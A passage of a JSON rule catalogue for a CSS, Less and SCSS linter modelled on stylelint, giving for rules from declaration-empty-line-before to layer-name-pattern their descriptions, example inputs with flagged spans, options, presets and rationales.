        "input": "@import \"a.css\";\n@import \"b.css\";\n\n@import \"c.css\";\na { color: red; }\nb { color: red; }\n\nc { color: red;\n  top: 0; }\nd { color: red;\n  top: 0; }\n/* comment */\ne { color: red; }\n\n/* comment */\n\nf {\n\n  color: red;\n  top: 0;\n\n  left: 0;\n  /* c */\n  right: 0;\n  g { x: y }\n  h { x: y;\n    z: w }\n  @media (a) { top: 0; }\n  bottom: 0;\n}\n@media (a) { top: 0; }\n@media (b) { top: 0; }\n@font-face { font-family: x; }\nx { --a: 1;\n  --b: 2;\n\n  --c: 3;\n  color: red; }\ny {\n  @media (a) { top: 0; }\n  @media (b) { top: 0; }\n}\n",
        "language": "css",
        "other_lines": [
          4,
          10,
          26,
          27,
          28,
          31,
          32,
          33,
          34,
          39,
          40,
          41
        ],
        "spans": [
          {
            "column": 3,
            "length": 5,
            "line": 19
          },
          {
            "column": 3,
            "length": 4,
            "line": 22
          },
          {
            "column": 3,
            "length": 6,
            "line": 29
          },
          {
            "column": 3,
            "length": 5,
            "line": 38
          }
        ]
      },
      "fix": null,
      "id": "declaration-empty-line-before",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "declaration-empty-line-before",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/declaration-empty-line-before"
        }
      ],
      "why": "Declarations that come after a nested rule belong to the parent again, and without a gap they read as part of the nested block. An empty line shows the return to the parent."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a declaration that ends in `!important`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a { color: red !important; margin: 0 ! important; padding: 0 }\n@keyframes k {\n  from { color: red }\n  to { color: blue !important }\n}\n",
        "language": "css",
        "other_lines": [],
        "spans": [
          {
            "column": 17,
            "length": 9,
            "line": 1
          },
          {
            "column": 40,
            "length": 9,
            "line": 1
          },
          {
            "column": 21,
            "length": 9,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "declaration-no-important",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "declaration-no-important",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/declaration-no-important"
        }
      ],
      "why": "`!important` breaks the cascade: only another `!important` with higher specificity can override it, so each use makes the next override harder and the stylesheet drifts into an arms race. Specificity and source order should decide.\n\nTo fix, raise the specificity of the selector that should win, or reorder the rules."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `$variable` declaration with no empty line before it. One that is first in its block, right after a comment or another `$` variable, or in a single-line block is not reported.",
      "example": {
        "config": "dollar-variable-empty-line-before: warn\ncustom-property-empty-line-before: warn\ndouble-slash-comment-empty-line-before: warn\nno-empty-comment: { level: warn, options: { separators: true } }\n",
        "fixed": null,
        "input": "$a: 1;\n$b: 2;\n// note\n$c: 3;\n.x {\n  $d: 4;\n  color: red;\n  $e: 5;\n  --f: 6;\n  --g: 7;\n  // one\n\n  // two\n  top: 0; // inline\n  // stylelint-disable\n  //\n  // text\n}\n",
        "language": "scss",
        "other_lines": [
          3,
          9,
          11,
          16
        ],
        "spans": [
          {
            "column": 3,
            "length": 2,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "dollar-variable-empty-line-before",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "scss/dollar-variable-empty-line-before",
          "partial": false,
          "tool": "stylelint-scss",
          "url": "https://github.com/stylelint-scss/stylelint-scss/blob/v7.4.0/src/rules/dollar-variable-empty-line-before/README.md"
        }
      ],
      "why": "A group of Sass variables is the settings of a block, and a gap before it sets it off from the rules and declarations around, so the settings are easy to find."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `$name` declaration whose name, without the `$`, does not match the `pattern` option (a regex). An empty pattern allows everything.",
      "example": {
        "config": "no-global-function-names: warn\nat-mixin-argumentless-call-parentheses: warn\nat-rule-conditional-no-parentheses: warn\nat-extend-no-missing-placeholder: warn\nat-if-no-null: warn\nload-no-partial-leading-underscore: warn\ndollar-variable-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\nat-mixin-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\nat-function-pattern: { level: warn, options: { pattern: \"^[a-z-]+$\" } }\n",
        "fixed": null,
        "input": "@use \"a/_b\";\n@use \"c.css\";\n$fooBar: map-get($m, a) + list.length($x);\n@mixin fooBar { top: 0; }\n@function myFn($x) { @return mix($x, red); }\na {\n  @include foo();\n  @include foo() using ($x) { top: 0; }\n  @extend .b;\n  @extend %b;\n  @extend .c-#{$x};\n  @if ($a == 1) { top: 0; }\n  @else if $a != null { top: 1; }\n  @else if $a != null and $b { top: 2; }\n  @if $a == null { top: 3; }\n}\n",
        "language": "scss",
        "other_lines": [
          1,
          4,
          5,
          7,
          9,
          12,
          15
        ],
        "spans": [
          {
            "column": 1,
            "length": 7,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "dollar-variable-pattern",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": "",
          "description": "The regex a variable name, without its `$`, must match.",
          "name": "pattern",
          "type": "string"
        }
      ],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "scss/dollar-variable-pattern",
          "partial": false,
          "tool": "stylelint-scss",
          "url": "https://github.com/stylelint-scss/stylelint-scss/blob/v7.4.0/src/rules/dollar-variable-pattern/README.md"
        }
      ],
      "why": "A naming convention for Sass variables keeps the variables of a project predictable. The rule is a policy: with no `pattern` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `//` comment on a line of its own with no empty line before it. One that is first in its block, right after another comment, on the line of code, or a directive comment is not reported.",
      "example": {
        "config": "dollar-variable-empty-line-before: warn\ncustom-property-empty-line-before: warn\ndouble-slash-comment-empty-line-before: warn\nno-empty-comment: { level: warn, options: { separators: true } }\n",
        "fixed": null,
        "input": "$a: 1;\n$b: 2;\n// note\n$c: 3;\n.x {\n  $d: 4;\n  color: red;\n  $e: 5;\n  --f: 6;\n  --g: 7;\n  // one\n\n  // two\n  top: 0; // inline\n  // stylelint-disable\n  //\n  // text\n}\n",
        "language": "scss",
        "other_lines": [
          8,
          9,
          16
        ],
        "spans": [
          {
            "column": 1,
            "length": 7,
            "line": 3
          },
          {
            "column": 3,
            "length": 6,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "double-slash-comment-empty-line-before",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "scss/double-slash-comment-empty-line-before",
          "partial": false,
          "tool": "stylelint-scss",
          "url": "https://github.com/stylelint-scss/stylelint-scss/blob/v7.4.0/src/rules/double-slash-comment-empty-line-before/README.md"
        }
      ],
      "why": "A comment describes what follows, and an empty line before it ties it to the next rule rather than to the end of the previous one."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a quoted font family name that is also valid without quotes (`\"Arial\"`, `\"Open Sans\"`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import url(\"a.css\");\n@import \"b.css\";\na {\n  margin: 0px 0.0em 0;\n  transition: 0s;\n  width: calc(0px + 1px);\n  --x: 0px;\n  background: url(a.png), url(\"b.png\");\n  color: #aabbcc;\n  color: #abc;\n  border-color: #ab #abcde #abcdef;\n  padding: 1px 1px;\n  padding: 1px 2px 1px 2px;\n  padding: 1px 2px 3px 2px;\n  font-family: \"Arial\", 'Lucida Grande', \"Font 2\", sans-serif;\n}\n",
        "language": "css",
        "other_lines": [
          1,
          4,
          7,
          8,
          9,
          10,
          11,
          12,
          13,
          14
        ],
        "spans": [
          {
            "column": 16,
            "length": 7,
            "line": 15
          },
          {
            "column": 25,
            "length": 15,
            "line": 15
          }
        ]
      },
      "fix": null,
      "id": "font-family-name-quotes",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "font-family-name-quotes",
          "note": "does not report a name that is missing a quote it needs (`always-where-required`)",
          "partial": true,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/font-family-name-quotes"
        }
      ],
      "why": "A family name that is a sequence of identifiers (`Open Sans`) needs no quotes, and quoted and unquoted names then mean the same. Quotes stay for the names that are not identifiers, such as one that starts with a digit.\n\nTo fix, delete the quotes."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a family that appears twice in one `font-family` list, on the repeat.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a {\n  font-family: Arial, Helvetica;\n  font-family: \"Arial\", serif;\n  font-family: Arial, inherit;\n  font-family: Arial, serif, \"Arial\";\n  font: 12px/1.5 Arial;\n  font: 12px Arial, sans-serif;\n}\n@font-face { font-family: Foo; }\n",
        "language": "css",
        "other_lines": [
          2,
          6
        ],
        "spans": [
          {
            "column": 30,
            "length": 7,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "font-family-no-duplicate-names",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "font-family-no-duplicate-names",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/font-family-no-duplicate-names"
        }
      ],
      "why": "The second entry is never reached: the browser has already tried that font. It is a copy and paste mistake that hides the fallback order.\n\nTo fix, delete the repeat."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a `font-family` (or `font`) list that has no generic family (`serif`, `sans-serif`, `monospace`, ...). `@font-face` is not checked.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a {\n  font-family: Arial, Helvetica;\n  font-family: \"Arial\", serif;\n  font-family: Arial, inherit;\n  font-family: Arial, serif, \"Arial\";\n  font: 12px/1.5 Arial;\n  font: 12px Arial, sans-serif;\n}\n@font-face { font-family: Foo; }\n",
        "language": "css",
        "other_lines": [
          5
        ],
        "spans": [
          {
            "column": 23,
            "length": 9,
            "line": 2
          },
          {
            "column": 18,
            "length": 5,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "font-family-no-missing-generic-family-keyword",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "font-family-no-missing-generic-family-keyword",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/font-family-no-missing-generic-family-keyword"
        }
      ],
      "why": "When none of the named fonts is installed, the browser uses its default font, which can be a serif face on a page designed for sans-serif. A generic family at the end tells it which kind of face to fall back on.\n\nTo fix, end the list with the generic family that fits the first font."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a function that is not in the `list` option. An empty list allows everything.",
      "example": {
        "config": "property-allowed-list: { level: warn, options: { list: [color, \"/^wid/\"] } }\nunit-allowed-list: { level: warn, options: { list: [px, em] } }\nfunction-allowed-list: { level: warn, options: { list: [var] } }\nat-rule-allowed-list: { level: warn, options: { list: [media] } }\nmedia-feature-name-allowed-list: { level: warn, options: { list: [max-width] } }\nselector-pseudo-class-allowed-list: { level: warn, options: { list: [focus] } }\nselector-pseudo-element-allowed-list: { level: warn, options: { list: [after] } }\nselector-combinator-allowed-list: { level: warn, options: { list: [\" \"] } }\nselector-attribute-operator-allowed-list: { level: warn, options: { list: [\"=\"] } }\n",
        "fixed": null,
        "input": "@import \"a.css\";\n[x~=y] { color: red }\n@media (min-width: 40em) {\n  a:hover::before > b { color: red; float: left; width: calc(1px + 2em); height: 1rem }\n}\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          3
        ],
        "spans": [
          {
            "column": 57,
            "length": 4,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "function-allowed-list",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "The allowed functions: names, or `/regex/`.",
          "name": "list",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "function-allowed-list",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/function-allowed-list"
        }
      ],
      "why": "A project can limit the functions its stylesheets call to the ones its browsers support or its design system allows. The rule is a policy: with no `list` it reports nothing."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports `+` and `-` inside `calc()` that lack whitespace on one or both sides (`calc(1px+2px)`), on the operator.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a {\n  width: calc(-#{$x} + 10px);\n  width: calc(10px + -#{$x});\n  width: calc(10px - -$x);\n  width: calc(10px -#{$x});\n}\n",
        "language": "css",
        "other_lines": [],
        "spans": [
          {
            "column": 20,
            "length": 1,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "function-calc-no-unspaced-operator",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "function-calc-no-unspaced-operator",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/function-calc-no-unspaced-operator"
        }
      ],
      "why": "CSS requires whitespace around `+` and `-` in `calc()`; `1px+2px` is read as a number with a sign, not as a sum, so the whole declaration is invalid and the browser drops it. `*` and `/` do not need the space.\n\nTo fix, put a space on each side of the operator."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a function that is in the `list` option.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import \"a.css\";\n@media (min-width: 40em) and (color) {\n  a { float: left; width: 1em }\n}\na:hover::before > b[style] { color: red; width: calc(1px + 2px); --x: 1em }\n.c { margin: 0 0 1px 2em; height: 50%; font-size: 12PX }\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          3,
          6
        ],
        "spans": [
          {
            "column": 49,
            "length": 4,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "function-disallowed-list",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "The disallowed functions: names, or `/regex/`.",
          "name": "list",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "function-disallowed-list",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/function-disallowed-list"
        }
      ],
      "why": "A project can forbid a function that its browsers do not support or that its design system replaces. The rule is a policy: with no `list` it reports nothing."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `linear-gradient()` that starts with a side keyword (`top`, `left bottom`) instead of `to top` or an angle.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a {\n  width: calc(1px+2px);\n  width: calc(1px +2px);\n  width: calc(1px+ 2px);\n  width: calc(1px + 2px);\n  width: calc(1px*2);\n  width: calc(-1px + 2px);\n  width: calc((1px+2px) * 3);\n  width: calc(var(--a)+1px);\n  width: CALC(1px + 2px);\n  background: linear-gradient(top, red, blue);\n  background: linear-gradient(to top, red, blue);\n  background: linear-gradient(45deg, red, blue);\n  background: -webkit-linear-gradient(top, red, blue);\n  transform: translateX(1px) ROTATE(1deg);\n}\n",
        "language": "css",
        "other_lines": [
          2,
          3,
          4,
          8,
          9,
          10,
          15
        ],
        "spans": [
          {
            "column": 31,
            "length": 3,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "function-linear-gradient-no-nonstandard-direction",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "function-linear-gradient-no-nonstandard-direction",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/function-linear-gradient-no-nonstandard-direction"
        }
      ],
      "why": "Before the standard, prefixed gradients named the side the gradient starts from. The standard names the side it goes to, so `top` and `to top` mean opposite directions. Code copied from the old notation draws the gradient reversed or is dropped.\n\nTo fix, write `to bottom` for a gradient that starts at the top, or use an angle."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a function name with capitals (`RGB()`). Names such as `translateX` that are written in camel case in the specification keep theirs.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a {\n  width: calc(1px+2px);\n  width: calc(1px +2px);\n  width: calc(1px+ 2px);\n  width: calc(1px + 2px);\n  width: calc(1px*2);\n  width: calc(-1px + 2px);\n  width: calc((1px+2px) * 3);\n  width: calc(var(--a)+1px);\n  width: CALC(1px + 2px);\n  background: linear-gradient(top, red, blue);\n  background: linear-gradient(to top, red, blue);\n  background: linear-gradient(45deg, red, blue);\n  background: -webkit-linear-gradient(top, red, blue);\n  transform: translateX(1px) ROTATE(1deg);\n}\n",
        "language": "css",
        "other_lines": [
          2,
          3,
          4,
          8,
          9,
          11
        ],
        "spans": [
          {
            "column": 10,
            "length": 4,
            "line": 10
          },
          {
            "column": 30,
            "length": 6,
            "line": 15
          }
        ]
      },
      "fix": null,
      "id": "function-name-case",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "function-name-case",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/function-name-case"
        }
      ],
      "why": "CSS reads function names without regard to case, so capitals add spellings of the same name. A file that writes them in lowercase only is easier to search and read."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a function in a declaration value that no CSS specification lists. SCSS and Less are not checked, because their built-in functions are not in the table. The `ignore` option lists names to leave out.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@foo {}\n@media (foo: 1) and (min-width: 1px) and (-webkit-min-device-pixel-ratio: 2) and (400px <= width) {}\n@media (min-resolution: 2x) {}\na { colour: red; width: 1foo; height: 2x; -webkit-foo: 1; --x: 1foo; width: foo(1) bar(2) var(--a) calc(1px + 2px) }\na { background: image-set(url(\"a.png\") 1x); margin: 1PX 2% 1e3em }\na:foo, a:hover, a::foo, a::before, a:before, a:-moz-foo, a:nth-child(even), a:lang(en), a:not(:bar) {}\nfoo, div, b::slotted(x-y), svg > circle {}\n::-webkit-scrollbar-thumb:horizontal {}\na:horizontal {}\n@page :first { margin: 1cm }\n@font-face {\n  src: url(\"a\");\n  font-display: swap;\n}\n@keyframes k { from { color: red } 50% { color: blue } }\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          6,
          7,
          9
        ],
        "spans": [
          {
            "column": 77,
            "length": 3,
            "line": 4
          },
          {
            "column": 84,
            "length": 3,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "function-no-unknown",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "Names left out: names, or `/regex/`.",
          "name": "ignore",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "function-no-unknown",
          "note": "SCSS and Less built-in functions are not in the table, so none is reported there.",
          "partial": true,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/function-no-unknown"
        },
        {
          "id": "scss/function-no-unknown",
          "note": "SCSS and Less built-in functions are not in the table, so none is reported there.",
          "partial": true,
          "tool": "stylelint-scss",
          "url": "https://github.com/stylelint-scss/stylelint-scss/blob/v7.4.0/src/rules/function-no-unknown/README.md"
        }
      ],
      "why": "An unknown function is a typo or a function that the browser does not implement, and the declaration is dropped without an error.\n\nTo fix, correct the name."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an unquoted `url(...)`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import url(\"a.css\");\n@import \"b.css\";\na {\n  margin: 0px 0.0em 0;\n  transition: 0s;\n  width: calc(0px + 1px);\n  --x: 0px;\n  background: url(a.png), url(\"b.png\");\n  color: #aabbcc;\n  color: #abc;\n  border-color: #ab #abcde #abcdef;\n  padding: 1px 1px;\n  padding: 1px 2px 1px 2px;\n  padding: 1px 2px 3px 2px;\n  font-family: \"Arial\", 'Lucida Grande', \"Font 2\", sans-serif;\n}\n",
        "language": "css",
        "other_lines": [
          1,
          4,
          7,
          9,
          10,
          11,
          12,
          13,
          14,
          15
        ],
        "spans": [
          {
            "column": 15,
            "length": 10,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "function-url-quotes",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "function-url-quotes",
          "note": "differs from stylelint on url() inside image-set()",
          "partial": true,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/function-url-quotes"
        }
      ],
      "why": "An unquoted url has to escape spaces, parentheses and quotes, and a file name that has one of these breaks the declaration. A quoted url can hold any character, so the habit of quoting never breaks.\n\nTo fix, wrap the argument in quotes."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports the hue of `hsl()`, `hsla()`, `hwb()`, `lch()` or `oklch()` written as a bare number (`120`), on the function name. A hue with a unit (`120deg`) is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a { color: rgba(0, 0, 0, 0.5); }\nb { color: rgb(0, 0, 0); }\nc { color: rgba(0 0 0 / 50%); }\nd { color: rgb(0 0 0 / 0.5); }\ne { color: hsl(120deg 50% 50%); }\nf { color: hsl(120, 50%, 50%); }\ng { color: hsla(120 50% 50% / 50%); }\nh { color: rgb(0 0 0 / 50%); }\ni { color: hsl(120 50% 50% / 0.5); }\nj { color: rgb(var(--x), 0.5); }\nk { color: rgb(var(--x) / 0.5); }\nl { color: oklch(50% 0.2 120); }\nm { color: oklch(50% 0.2 120deg / 50%); }\nn { color: rgb(0 0 0); }\no { color: hsla(var(--h), var(--s), var(--l), 1); }\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          3,
          4,
          11,
          15
        ],
        "spans": [
          {
            "column": 12,
            "length": 3,
            "line": 6
          },
          {
            "column": 12,
            "length": 4,
            "line": 7
          },
          {
            "column": 12,
            "length": 3,
            "line": 9
          },
          {
            "column": 12,
            "length": 5,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "hue-degree-notation",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "hue-degree-notation",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/hue-degree-notation"
        }
      ],
      "why": "A hue is an angle, and without a unit `120` does not say if it is degrees, radians or turns; CSS reads it as degrees, but the next reader has to know that. Writing `120deg` makes the value self-describing and matches the other angle properties.\n\nTo fix, add `deg` to the number."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an `@import` written in the notation the `url` option does not ask for: by default a string, so `url(...)` is reported; with `url: true`, `url(...)`, so a string is reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import url(\"a.css\");\n@import \"b.css\";\n@import 'c.css' screen;\n",
        "language": "css",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 16,
            "line": 2
          },
          {
            "column": 1,
            "length": 23,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "import-notation",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": false,
          "description": "Ask for url() instead of a string.",
          "name": "url",
          "type": "bool"
        }
      ],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "import-notation",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/import-notation"
        }
      ],
      "why": "One notation for imports keeps the file uniform and easy to search. The string form is shorter; the `url()` form is the one that the older tools and bundlers read."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a selector that is used twice in one `@keyframes` rule (`from` and `FROM` count as the same, names are compared in lowercase).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a { color: red }\nb, a { color: red }\na, b { color: red }\na { color: blue }\n@media print { a { color: red } }\n@keyframes k { from { top: 0 } FROM { top: 1px } 0% { top: 2px } }\n",
        "language": "css",
        "other_lines": [
          3,
          4
        ],
        "spans": [
          {
            "column": 32,
            "length": 4,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "keyframe-block-no-duplicate-selectors",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "keyframe-block-no-duplicate-selectors",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/keyframe-block-no-duplicate-selectors"
        }
      ],
      "why": "Keyframes with the same offset are merged by the browser in order, and the later declarations win for the same property. The animation then differs from what the first block says.\n\nTo fix, merge the two blocks."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports `!important` in a declaration of a `@keyframes` rule.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a { color: red !important; margin: 0 ! important; padding: 0 }\n@keyframes k {\n  from { color: red }\n  to { color: blue !important }\n}\n",
        "language": "css",
        "other_lines": [
          1
        ],
        "spans": [
          {
            "column": 21,
            "length": 9,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "keyframe-declaration-no-important",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "keyframe-declaration-no-important",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/keyframe-declaration-no-important"
        }
      ],
      "why": "A declaration with `!important` in a keyframe is ignored, so the property does not animate, and no error tells you.\n\nTo fix, delete the `!important`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `from` and `to` in a `@keyframes` that also uses percentages. A block with nothing but keywords is not reported.",
      "example": {
        "config": null,
        "fixed": "a:before, a::after, a:hover {}\n[a=b], [a=\"b\"], [a], [a~=b i] {}\na:nth-child(0), a:nth-child(2n+1), a:nth-last-child(-n) {}\n/* a */ /* a */ /** a **/ /* */\n@keyframes k { from { top: 0 } to { top: 1px } }\n@keyframes j { from { top: 0 } 50% { top: 1px } to { top: 2px } }\n",
        "input": "a:before, a::after, a:hover {}\n[a=b], [a=\"b\"], [a], [a~=b i] {}\na:nth-child(0), a:nth-child(2n+1), a:nth-last-child(-n) {}\n/*a*/ /* a */ /** a **/ /**/\n@keyframes k { from { top: 0 } to { top: 1px } }\n@keyframes j { from { top: 0 } 50% { top: 1px } to { top: 2px } }\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          3,
          4
        ],
        "spans": [
          {
            "column": 16,
            "length": 4,
            "line": 6
          },
          {
            "column": 49,
            "length": 2,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "keyframe-selector-notation",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "keyframe-selector-notation",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/keyframe-selector-notation"
        }
      ],
      "why": "`from` is `0%` and `to` is `100%`, so mixing the forms in one animation makes the reader translate. With percentages the animation reads as a timeline.\n\nTo fix, write `0%` and `100%`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `@keyframes` name that does not match the `pattern` option (a regex). An empty pattern allows everything.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ".good-name, .badName, #bad_id, #good-id { --good-name: 1; --badName: 2 }\n@keyframes badFrames { from { top: 0 } }\n@keyframes good-frames { from { top: 0 } }\n@custom-media --badMedia (min-width: 1px);\n@custom-media --good-media (min-width: 1px);\n@layer badLayer, good-layer;\n@container badBox (min-width: 1px) { a { color: red } }\n@container good-box (min-width: 1px) { a { color: red } }\nA, B.c:not(.dX) {}\n",
        "language": "css",
        "other_lines": [
          1,
          4,
          6,
          7,
          9
        ],
        "spans": [
          {
            "column": 12,
            "length": 9,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "keyframes-name-pattern",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": "",
          "description": "The regex a keyframes name must match.",
          "name": "pattern",
          "type": "string"
        }
      ],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "keyframes-name-pattern",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/keyframes-name-pattern"
        }
      ],
      "why": "Animation names are global to the page, so a convention (a prefix, kebab case) keeps them predictable and lowers the risk of two animations having the same name. The rule is a policy: with no `pattern` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `@layer` name that does not match the `pattern` option (a regex). An empty pattern allows everything.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ".good-name, .badName, #bad_id, #good-id { --good-name: 1; --badName: 2 }\n@keyframes badFrames { from { top: 0 } }\n@keyframes good-frames { from { top: 0 } }\n@custom-media --badMedia (min-width: 1px);\n@custom-media --good-media (min-width: 1px);\n@layer badLayer, good-layer;\n@container badBox (min-width: 1px) { a { color: red } }\n@container good-box (min-width: 1px) { a { color: red } }\nA, B.c:not(.dX) {}\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          4,
          7,
          9
        ],
        "spans": [
          {
            "column": 8,
            "length": 8,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "layer-name-pattern",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": "",
          "description": "The regex a layer name must match.",
          "name": "pattern",
          "type": "string"
        }
      ],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "layer-name-pattern",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/layer-name-pattern"
        }
      ],
